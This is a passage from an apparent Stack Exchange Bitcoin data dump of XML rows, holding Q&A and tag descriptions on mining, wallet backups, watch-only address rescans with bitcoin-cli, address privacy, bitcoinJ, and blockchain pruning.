example, someone with only 40% of the network computing power can overcome a 6-deep confirmed transaction with a 50% success rate.&#xA;&#xA;It's much more difficult to change historical blocks, and it becomes exponentially more difficult the further back you go. As above, changing historical blocks only allows you to exclude and change the ordering of transactions. It's impossible to change blocks created before the last checkpoint.&#xA;&#xA;Since this attack doesn't permit all that much power over the network, it is expected that no one will attempt it. A profit-seeking person will always gain more by just following the rules, and even someone trying to destroy the system will probably find other attacks more attractive. However, if this attack is successfully executed, it will be difficult or impossible to &quot;untangle&quot; the mess created -- any changes the attacker makes might become permanent. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above was taken from &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Weaknesses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="26879" LastActivityDate="2016-01-20T18:57:40.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42472" PostTypeId="5" CreationDate="2016-01-20T20:04:18.590" Score="0" Body="&lt;p&gt;Questions using this tag should be asking about the costs of mining such as electricity and hardware costs, and the revenue that could be earned through mining. Questions can also ask about the profitability of cloud mining services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining can be a profitable process, and most people who wish to mine Bitcoin or other currencies want to know how profitable it will be. In general, mining consumes a lot of electricity and is unprofitable in regions where the cost of electricity is high.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="48884" LastEditDate="2017-10-20T19:57:29.780" LastActivityDate="2017-10-20T19:57:29.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42473" PostTypeId="4" CreationDate="2016-01-20T20:04:18.590" Score="0" Body="The economics of mining operations." OwnerUserId="5406" LastEditorUserId="13866" LastEditDate="2023-05-11T14:07:54.640" LastActivityDate="2023-05-11T14:07:54.640" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="42474" PostTypeId="5" CreationDate="2016-01-20T20:16:42.260" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-20T20:16:42.260" LastActivityDate="2016-01-20T20:16:42.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42475" PostTypeId="4" CreationDate="2016-01-20T20:16:42.260" Score="0" Body="Questions about using CPUs for mining." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-20T20:16:42.260" LastActivityDate="2016-01-20T20:16:42.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42476" PostTypeId="5" CreationDate="2016-01-20T20:21:50.887" Score="0" Body="&lt;p&gt;Mining theory encompasses two main aspects: why mine and how to mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;why&quot; is usually answered with two reasons: to make money and to help the blockchain move forward. Miners are generally considered to be greedy and that all decisions that miners make should be based upon greed. Making money is the primary reason for most miners to mine Bitcoin; securing the blockchain comes as a secondary effect of that. Questions using this tag may be under the &quot;why&quot; and ask about the rationale for mining and behaviors that are observed in miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;how&quot; requires that a miner has specialized mining equipment. Questions using this tag may be under the &quot;how&quot; and ask about the exact process for mining, how mining equipment works, and how it secures the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="48884" LastEditDate="2017-10-20T19:54:53.717" LastActivityDate="2017-10-20T19:54:53.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42477" PostTypeId="4" CreationDate="2016-01-20T20:21:50.887" Score="0" Body="The underlying concepts and game theory of mining." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2024-01-15T17:47:26.133" LastActivityDate="2024-01-15T17:47:26.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="42478" PostTypeId="5" CreationDate="2016-01-20T20:39:05.427" Score="0" Body="&lt;p&gt;Mining cryptocurrencies requires hardware to perform the Proof of Work calculation. These calculations can be done with a general purpose CPU. They can often be done with a GPU in order to obtain a higher hash rate. Some mining algorithms can be programmed into Field Programmable Gate Arrays (FPGAs) and even into hardware circuitry itself for more efficiency and a higher hash rate.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="48884" LastEditDate="2017-10-20T02:58:13.767" LastActivityDate="2017-10-20T02:58:13.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42479" PostTypeId="4" CreationDate="2016-01-20T20:39:05.427" Score="0" Body="Mining hardware includes all equipment such as CPUs, GPUs, FPGAs, and ASICs that can be used effectively to calculate hashes for mining Bitcoin. This also covers the production, and producers of such equipment." OwnerUserId="5406" LastEditorUserId="13866" LastEditDate="2023-05-11T13:53:33.463" LastActivityDate="2023-05-11T13:53:33.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="42480" PostTypeId="2" ParentId="42359" CreationDate="2016-01-20T20:53:50.273" Score="1" Body="&lt;p&gt;MultiBit HD developer here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a lot of information about restoring wallets in the Help within the wallet and on the website: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://multibit.org/en/help/hd0.1/restore-wallet.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/hd0.1/restore-wallet.html&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://multibit.org/en/help/hd0.1/files.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/hd0.1/files.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cloud backup folders are there to allow full restoration of a wallet if you know the wallet words. They will restore contacts, notes, exchange rates - all of it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are confident in copying files around on your machine (many users have trouble with this so we guide them away from it) then it is safe to perform a blanket copy of the Roaming files to the other machine. Make sure to re-create the cloud backup directory and populate it as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As is always the case, make sure you keep your wallet words safe so that if it goes wrong (lightning strike right in the middle of the copy?) you can always recover your private keys.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2016-01-20T20:53:50.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42481" PostTypeId="5" CreationDate="2016-01-20T21:05:25.350" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-20T21:05:25.350" LastActivityDate="2016-01-20T21:05:25.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42482" PostTypeId="4" CreationDate="2016-01-20T21:05:25.350" Score="0" Body="Collects questions about mining setups on basis of GPUs." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-20T21:05:25.350" LastActivityDate="2016-01-20T21:05:25.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42483" PostTypeId="1" CreationDate="2016-01-20T22:00:49.937" Score="0" ViewCount="724" Body="&lt;p&gt;If I create a new public key (Bitcoin Address) for every transaction I'm receiving, is there some way to find my total balances of my wallet/private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And are there any downsides with creating unique addresses for every transaction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to make it clear. I'm not talking about total balances in the wallet's GUI. I'm asking if there is some way for thirdpart who is watching transactions on blockchain.info to calculate my total balances in the wallet.&lt;/p&gt;&#xA;" OwnerUserId="27868" LastEditorUserId="27868" LastEditDate="2016-01-21T12:23:12.067" LastActivityDate="2016-03-21T16:14:29.097" Title="Multiple public keys - Total received funds" Tags="|wallet|public-key|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42484" PostTypeId="2" ParentId="41474" CreationDate="2016-01-21T01:07:31.950" Score="3" Body="&lt;p&gt;&lt;strike&gt;&#xA;Seeing as this question remains unanswered after a few months...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to enable &lt;code&gt;txindex = 1&lt;/code&gt; in your &lt;code&gt;bitcoin.conf&lt;/code&gt; per @Jannes' suggestion. If you want to scan &lt;strong&gt;your&lt;/strong&gt; downloaded blockchain for &lt;strong&gt;another wallet's&lt;/strong&gt; address transaction history, then you have to build the &lt;strong&gt;entire blockchain index&lt;/strong&gt; on your machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether it's a watch-only address or not should be irrelevant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/35707/what-are-pros-and-cons-of-txindex-option&quot;&gt;What are pros and cons of txindex option?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11759/get-non-wallet-transactions-using-bitcoin-rpc-gettransaction&quot;&gt;Get non-wallet transactions using bitcoin rpc (gettransaction)&lt;/a&gt;&#xA;&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I may have solved your problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my Bitcoin info&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli getinfo&#xA;{&#xA;    &quot;version&quot; : 110200,&#xA;    &quot;protocolversion&quot; : 70002,&#xA;    &quot;walletversion&quot; : 60000,&#xA;    &quot;balance&quot; : 0.00000000,&#xA;    &quot;blocks&quot; : 353776,&#xA;    &quot;timeoffset&quot; : -1,&#xA;    &quot;connections&quot; : 55,&#xA;    &quot;proxy&quot; : &quot;&quot;,&#xA;    &quot;difficulty&quot; : 47610564513.47126007,&#xA;    &quot;testnet&quot; : false,&#xA;    &quot;keypoololdest&quot; : 1449210293,&#xA;    &quot;keypoolsize&quot; : 101,&#xA;    &quot;paytxfee&quot; : 0.00000000,&#xA;    &quot;relayfee&quot; : 0.00005000,&#xA;    &quot;errors&quot; : &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My blockchain isn't quite as up-to-date as yours, so I gathered &lt;a href=&quot;https://blockchain.info/tx/64540e42ec96118d11168d954641dd5390f4a46ba795c7b7588d38141e66117a&quot; rel=&quot;nofollow noreferrer&quot;&gt;this transaction&lt;/a&gt; (within block 353776) and used the Bitcoin address of &lt;code&gt;1CTVqQSSVTjun32gRxmhJHhVYzzXpR894z&lt;/code&gt; from that transaction for my example.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Import address WITHOUT rescan; we'll do this later&#xA;bitcoin-cli importaddress 1CTVqQSSVTjun32gRxmhJHhVYzzXpR894z &quot;Index Test&quot; false&#xA;&#xA;# Stop Bitcoin&#xA;$ bitcoin-cli stop&#xA;&#xA;# Verify Bitcoin is stopped, then run:&#xA;$ bitcoind -rescan&#xA;&#xA;# Wait for rescan... mine took 15-20 minutes&#xA;&#xA;# Once 'bitcoin-cli getinfo' returns valid info, run:&#xA;$ bitcoin-cli listtransactions &quot;Index Test&quot; 10 0 true&#xA;&#xA;# Result:&#xA;&#xA;[&#xA;    {&#xA;        &quot;involvesWatchonly&quot; : true,&#xA;        &quot;account&quot; : &quot;Index Test&quot;,&#xA;        &quot;address&quot; : &quot;1CTVqQSSVTjun32gRxmhJHhVYzzXpR894z&quot;,&#xA;        &quot;category&quot; : &quot;receive&quot;,&#xA;        &quot;amount&quot; : 3.50000000,&#xA;        &quot;vout&quot; : 0,&#xA;        &quot;confirmations&quot; : 22539,&#xA;        &quot;blockhash&quot; : &quot;00000000000000000548d8ef9a7d14c75b7b18ae5b792d520f44cc5ddd25adfe&quot;,&#xA;        &quot;blockindex&quot; : 536,&#xA;        &quot;blocktime&quot; : 1416848183,&#xA;        &quot;txid&quot; : &quot;1db7b0703f441d4cea63a298131f8e766b557329f44c30898847d0fc23573606&quot;,&#xA;        &quot;walletconflicts&quot; : [&#xA;        ],&#xA;        &quot;time&quot; : 1452652576,&#xA;        &quot;timereceived&quot; : 1453438387&#xA;    },&#xA;    {&#xA;        &quot;involvesWatchonly&quot; : true,&#xA;        &quot;account&quot; : &quot;Index Test&quot;,&#xA;        &quot;address&quot; : &quot;1CTVqQSSVTjun32gRxmhJHhVYzzXpR894z&quot;,&#xA;        &quot;category&quot; : &quot;receive&quot;,&#xA;        &quot;amount&quot; : 1.89990000,&#xA;        &quot;vout&quot; : 1,&#xA;        &quot;confirmations&quot; : 19031,&#xA;        &quot;blockhash&quot; : &quot;0000000000000000134345f88fb68550d2102d392be6e1635eaa6fb50c37a2cc&quot;,&#xA;        &quot;blockindex&quot; : 15,&#xA;        &quot;blocktime&quot; : 1418994502,&#xA;        &quot;txid&quot; : &quot;4cc761b286c23dab5dd07c260726d79e4baee88778a402e36c82a6b9e6ac757f&quot;,&#xA;        &quot;walletconflicts&quot; : [&#xA;        ],&#xA;        &quot;time&quot; : 1452652576,&#xA;        &quot;timereceived&quot; : 1453438430&#xA;    },&#xA;    ...&#xA;    snip&#xA;    ...&#xA;    {&#xA;        &quot;involvesWatchonly&quot; : true,&#xA;        &quot;account&quot; : &quot;Index Test&quot;,&#xA;        &quot;address&quot; : &quot;1CTVqQSSVTjun32gRxmhJHhVYzzXpR894z&quot;,&#xA;        &quot;category&quot; : &quot;receive&quot;,&#xA;        &quot;amount&quot; : 13.63000000,&#xA;        &quot;vout&quot; : 0,&#xA;        &quot;confirmations&quot; : 211,&#xA;        &quot;blockhash&quot; : &quot;0000000000000000021df02390f30985f34d871e4cc93c4e349cd3b23574bf76&quot;,&#xA;        &quot;blockindex&quot; : 1,&#xA;        &quot;blocktime&quot; : 1430041109,&#xA;        &quot;txid&quot; : &quot;64540e42ec96118d11168d954641dd5390f4a46ba795c7b7588d38141e66117a&quot;,&#xA;        &quot;walletconflicts&quot; : [&#xA;        ],&#xA;        &quot;time&quot; : 1452652576,&#xA;        &quot;timereceived&quot; : 1453438694&#xA;    }&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the last transaction to show in the output is the one I grabbed from block 353776, with all of the correct details as displayed on blockchain.info, indicating a successful transaction listing for the imported address (account containing the address, actually).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for why your rescan didn't work when you initially imported the address, I can't really say. Perhaps a more seasoned Bitcoin user could shed some light on that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, I recommend you stop your Bitcoin daemon and run &lt;code&gt;bitcoind -rescan&lt;/code&gt; and wait for it to do its magic. Afterwards try your &lt;code&gt;listtransactions&lt;/code&gt; again. I'm interested in finding out if it works for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Keep in mind&lt;/strong&gt; that attempting to import a Bitcoin address that already exists within your wallet will &lt;strong&gt;not&lt;/strong&gt; initiate a rescan, even if specified to do so on the command line. --- &lt;a href=&quot;https://bitcoin.org/en/developer-reference#importaddress&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitcoin.org/en/developer-reference#importaddress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26879" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2016-01-22T20:11:40.147" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="42485" PostTypeId="2" ParentId="42483" CreationDate="2016-01-21T01:35:20.837" Score="1" Body="&lt;p&gt;If you're running Bitcoin Core as your wallet, then the graphical interface is handling your wallet's total balance already, which includes the balance of every address within your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you prefer the command line method, use &lt;code&gt;bitcoin-cli getbalance&lt;/code&gt; to get the total sum of all transactions in your wallet. That command basically balances your wallet transaction history like a checkbook, so including deposits and debits, and delivers you the final balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The balance shown in the Bitcoin Core GUI is the same as the balance displayed with &lt;code&gt;bitcoin-cli getbalance&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your second question, as far as I can tell there is no downside to creating unique addresses for every transaction, and in fact it is highly recommended in order to aid in anonymity. The fact that you own all of the Bitcoin associated with a particular wallet is harder to determine when more than 1 address is used to receive funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However&lt;/strong&gt;, spending the entire balance of multiple addresses &lt;strong&gt;in a single transaction&lt;/strong&gt; could negate any protection you were hoping to have by using multiple addresses in the first place, since an attacker could then determine, using that single transaction ID, that the total balance of the multiple addresses was associated with the same wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One important note when creating many unique addresses is, if using the Bitcoin Core wallet, backups would need to be created more frequently because new private/public keypairs are generated when creating a new address, and previous backups will not contain the new keypairs. Therefore, if you create a backup of your wallet, then create a new address and receive 1BTC at that address, then your wallet backup will &lt;strong&gt;not&lt;/strong&gt; contain the address that received 1BTC. &lt;/p&gt;&#xA;" OwnerUserId="26879" LastEditorUserId="26879" LastEditDate="2016-01-21T15:06:15.473" LastActivityDate="2016-01-21T15:06:15.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42488" PostTypeId="2" ParentId="42483" CreationDate="2016-01-21T07:46:44.793" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If I create a new public key (Bitcoin Address) for every transaction I'm receiving, is there some way to find my total balances of my wallet/private key?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The addresses in the blockchain are only related if you &lt;em&gt;use&lt;/em&gt; them together in a transaction. For example if you make a payment to someone and you use bitcoins from 3 addresses (A, B and C) from your wallet a third person can assume that all these addresses are from the same wallet/person (which is not necessarily correct!) ... and add the remaining to get the balance from those 3 addresses. If later you make another payment that uses addresses (B, C, D and E) a third party will deduce that D and E are probably also your addresses and add them to your total balance. Outputs can also be used for this but I won't expand to avoid over-complicating it. Statistical analysis can find most relations but requires dedicated people. That is why &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/42221/what-is-the-cheapest-fee-based-bitcoin-altcoin-mixing-service-to-keep-myself-a/42263#42263&quot;&gt;mixing&lt;/a&gt; is so difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it can be done but it does require quite some work for trustworthy results.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And are there any downsides with creating unique addresses for every transaction?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Nowadays, most wallets are &lt;a href=&quot;https://en.bitcoin.it/wiki/Deterministic_wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;Deterministic Wallets&lt;/a&gt; (by the way, bitcoin core wallet is not). That means that they use some kind of &lt;em&gt;seed&lt;/em&gt; to create all future key-pairs from. Having that seed you can recreate all key-pairs that you have or could possibly create in the future. You can backup that seed and be certain that you have a final backup for that wallet. Thus, no downsides for Deterministic (or Hierarchical Deterministic) wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in a non-deterministic wallet (like bitcoin core wallet, aka shatoshi client) if you take a backup today and tomorrow you create a couple of new addresses those new address will &lt;strong&gt;not&lt;/strong&gt; be in the backup. Thus the downside for non-deterministic wallets is that you need to create backups frequently to ensure that you have a backup of all your private keys.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2016-01-21T15:15:59.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42489" PostTypeId="5" CreationDate="2016-01-21T09:36:26.727" Score="0" Body="&lt;p&gt;Mining rigs often need special configurations in order to perform optimally. Questions using this tag should be about how to configure mining hardware properly and how to set up mining hardware for use in mining pools.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="48884" LastEditDate="2017-10-20T20:03:33.443" LastActivityDate="2017-10-20T20:03:33.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42490" PostTypeId="4" CreationDate="2016-01-21T09:36:26.727" Score="0" Body="This tag should be used for questions about configuring and optimizing the software settings on mining rigs." OwnerUserId="5406" LastEditorUserId="48884" LastEditDate="2017-10-20T20:03:33.443" LastActivityDate="2017-10-20T20:03:33.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42491" PostTypeId="2" ParentId="2380" CreationDate="2016-01-21T09:37:12.200" Score="2" Body="&lt;p&gt;The bitcoin client creates both a valid address and private key once it is launched. When it becomes fully synced your transaction will show up (or more specifically synced to at least the block that the bitcoin tx was initiated).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your wallet can be left offline indefinitely, the private key that was generated will always hold that bitcoin until the wallet.dat is synced and the bitcoin is then spent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your btc balance is perfectly safe.&lt;/p&gt;&#xA;" OwnerUserId="32214" LastActivityDate="2016-01-21T09:37:12.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42492" PostTypeId="2" ParentId="25533" CreationDate="2016-01-21T10:09:42.357" Score="4" Body="&lt;p&gt;For future reference:&#xA;In bitcoinJ (java version) the input/output addresses of transactions are located in TransactionInput and TransactionOutput objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: for Transaction tx:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;List&amp;lt;TransactionInput&amp;gt; inputs = tx.getInputs();&#xA;List&amp;lt;TransactionOutput&amp;gt; outputs = tx.getOutputs();&#xA;&#xA;for(TransactionOutput out : outputs){&#xA;    System.out.println(out.getAddressFromP2PKHScript(params));&#xA;    System.out.println(out.getAddressFromP2SH(params));&#xA;}&#xA;&#xA;for(TransactionInput in : inputs){&#xA;    System.out.println(in.getFromAddress());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that some transactions might not have an input address.&#xA;Here is the github description of getFromAddress() method:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Convenience method that returns the from address of this input by parsing the scriptSig. The concept of a &quot;from address&quot; is not well defined in Bitcoin and you should not assume that senders of a transaction can actually receive coins on the same address they used to sign (e.g. this is not true for shared wallets).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="32201" LastEditorUserId="32201" LastEditDate="2016-01-21T10:19:50.310" LastActivityDate="2016-01-21T10:19:50.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42493" PostTypeId="2" ParentId="42468" CreationDate="2016-01-21T10:14:28.563" Score="1" Body="&lt;p&gt;MultiBit does not have the same dump private key options as the normal bitcoin qt. Your best bet if you want to move coins is to load your wallet of choice onto the new device, then send to that address from your MultiBit wallet. Multibit stores private keys as described here &#xA;&lt;a href=&quot;https://multibit.org/en/help/v0.5/help_walletBackups.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/v0.5/help_walletBackups.html&lt;/a&gt;&#xA;&lt;a href=&quot;https://multibit.org/en/help/v0.5/help_fileDescriptions.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/v0.5/help_fileDescriptions.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32214" LastActivityDate="2016-01-21T10:14:28.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42494" PostTypeId="1" CreationDate="2016-01-21T11:51:25.500" Score="7" ViewCount="2498" Body="&lt;p&gt;What is the size of the blockchain stored on a user harddrive after pruning has occurred?&lt;/p&gt;&#xA;" OwnerUserId="32215" LastEditorUserId="5406" LastEditDate="2016-02-20T14:23:38.643" LastActivityDate="2020-04-17T11:24:06.633" Title="Size of the blockchain after pruning" Tags="|blockchain|pruning|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42495" PostTypeId="2" ParentId="42451" CreationDate="2016-01-21T11:55:49.330" Score="0" Body="&lt;p&gt;To start with a softer example, Amazoncoin used by Amazon.com is moving into other uses for blockchain tech. Although it can be bought, sold, gifted, etc, its main purpose is to save money within Amazon itself, eliminating the need for bank transfers from one region to another which can be costly and also less secure. That scratches the surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BlockChain tech is now being implemented into internal banking systems that run their own blockchains to avoid fees associated with moving money regionally, quicker transactions, and a more secure and transparent ledger. It's rumored that even stocks will soon be using block chain tech (there may be a few active examples already). Here are some links that I think will get a little closer to the answer you are looking for. They tend to be a little vague, as banks are not in a hurry to share their internal operations, but give these a quick read, and follow links that are similar and you will see some of the many applications blockchains have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Citibank mentioned in one of these already outdated articles has secured another sponsorship spot in the upcoming Consensus 2016 in March, happening in New York City. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Info on Citibank and others researching blockchains&#xA;&lt;a href=&quot;http://www.forbes.com/sites/laurashin/2015/09/09/visa-citi-nasdaq-invest-30-million-in-blockchain-startup-chain-com/&quot; rel=&quot;nofollow&quot;&gt;http://www.forbes.com/sites/laurashin/2015/09/09/visa-citi-nasdaq-invest-30-million-in-blockchain-startup-chain-com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, one of the companies that is creating these internal use enterprise class blockchains&#xA;&lt;a href=&quot;http://chain.com/&quot; rel=&quot;nofollow&quot;&gt;http://chain.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a lot more out there to read, just pluck some key words and names from these articles and search them. &lt;/p&gt;&#xA;" OwnerUserId="32214" LastActivityDate="2016-01-21T11:55:49.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42496" PostTypeId="2" ParentId="42494" CreationDate="2016-01-21T13:28:56.843" Score="2" Body="&lt;p&gt;Pretty much whatever you configure (with some practical minimum obviously).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See for example: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/37496/how-can-i-run-bitcoind-in-pruning-mode?s=5|1.1210&quot;&gt;How can I run bitcoind in pruning mode?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that with 0.11 you can NOT use the wallet functionality when pruning. With the upcoming 0.12 you can (release candidate out now). Otherwise the functionality remains the same.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2016-01-21T13:28:56.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42497" PostTypeId="2" ParentId="41849" CreationDate="2016-01-21T14:53:15.887" Score="1" Body="&lt;p&gt;I have found the way to do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    DeterministicKey extendedKey = wallet.getWatchingKey();&#xA;    String mpk = extendedKey.serializePubB58(wallet.getParams());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27532" LastEditorUserId="27532" LastEditDate="2016-01-22T09:07:33.730" LastActivityDate="2016-01-22T09:07:33.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42498" PostTypeId="1" CreationDate="2016-01-21T15:16:47.360" Score="1" ViewCount="585" Body="&lt;p&gt;I am looking for hourly, daily, weekly, monthly and yearly blockchain transactions dump in csv or other formats. Any pointers would be really appreciated.&lt;/p&gt;&#xA;" OwnerUserId="32218" LastActivityDate="2017-08-04T09:29:45.447" Title="blockchain transactions dump file" Tags="|transactions|blockchain|logging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42499" PostTypeId="1" CreationDate="2016-01-21T18:58:56.310" Score="0" ViewCount="31" Body="&lt;p&gt;I'm currently trading on kraken.com which works perfectly fine. Now I want to discover other EUR exchanges which have good reputation, a relatively high trading volume and preferably low trading fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would very much appreciate any suggestions.&lt;/p&gt;&#xA;" OwnerUserId="4546" LastActivityDate="2016-01-21T18:58:56.310" Title="Searching for EUR exchange with high trading volume" Tags="|exchanges|europe|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42500" PostTypeId="1" CreationDate="2016-01-21T20:24:40.020" Score="1" ViewCount="788" Body="&lt;p&gt;I'm looking to make my own NxT testnet for developpement purpose but couldn't find a way to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using the normal &quot; testnet &quot; but couldn't find the way to properly configure the nxt-default.propreties so that i could make local testnet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you guys have any pointers ? or config files ? Will i be able to use my testnet on the same computer or should it be run on a server the same way a public node would ? What about setting up the configure of the genesis block , etc ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you guys can help&lt;/p&gt;&#xA;" OwnerUserId="32229" LastActivityDate="2016-04-21T10:05:36.443" Title="How to install a private testnet?" Tags="|testnet|nxt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
